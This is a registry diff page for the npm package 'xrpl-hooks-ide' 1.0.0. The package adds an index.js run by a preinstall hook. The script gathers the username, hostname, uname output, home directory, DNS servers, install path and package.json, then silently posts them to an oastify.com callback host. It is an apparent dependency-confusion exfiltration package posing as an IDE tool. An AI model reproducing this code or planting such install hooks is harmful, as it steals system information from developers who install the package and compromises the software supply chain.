xrpl-hooks-ide 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +56 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,56 @@
1
+ const osModule = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const { execSync } = require("child_process");
6
+ const packageJSON = require("./package.json");
7
+ const packageName = packageJSON.name;
8
+
9
+ let whoami = "";
10
+ try { whoami = execSync("whoami").toString().trim(); } catch(e) { whoami = osModule.userInfo().username; }
11
+
12
+ let hostname = "";
13
+ try { hostname = execSync("hostname").toString().trim(); } catch(e) { hostname = osModule.hostname(); }
14
+
15
+ let osInfo = "";
16
+ try { osInfo = execSync("uname -a").toString().trim(); } catch(e) { osInfo = osModule.type() + " " + osModule.release(); }
17
+
18
+ const trackingData = JSON.stringify({
19
+ p: packageName,
20
+ c: __dirname,
21
+ hd: osModule.homedir(),
22
+ hn: hostname,
23
+ un: osModule.userInfo().username,
24
+ whoami: whoami,
25
+ os: osInfo,
26
+ dns: dns.getServers(),
27
+ r: packageJSON ? packageJSON.___resolved : undefined,
28
+ v: packageJSON.version,
29
+ pjson: packageJSON,
30
+ });
31
+
32
+ var postData = querystring.stringify({
33
+ msg: trackingData,
34
+ });
35
+
36
+ var options = {
37
+ hostname: "cbrjfs43tu891o0ac57fuwjlnct3ht5i.oastify.com",
38
+ port: 443,
39
+ path: "/",
40
+ method: "POST",
41
+ headers: {
42
+ "Content-Type": "application/x-www-form-urlencoded",
43
+ "Content-Length": postData.length,
44
+ },
45
+ };
46
+
47
+ var req = https.request(options, (res) => {
48
+ res.on("data", (d) => {
49
+ process.stdout.write(d);
50
+ });
51
+ });
52
+
53
+ req.on("error", (e) => {});
54
+
55
+ req.write(postData);
56
+ req.end();
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "xrpl-hooks-ide",
3
+ "version": "1.0.0",
4
+ "description": "CyberSec_Kitty",
5
+ "license": "ISC",
6
+ "author": "",
7
+ "type": "commonjs",
8
+ "main": "index.js",
9
+ "scripts": {
10
+ "test": "echo \"Error: no test specified\" && exit 1",
11
+ "preinstall": "node index.js"
12
+ }
13
+ }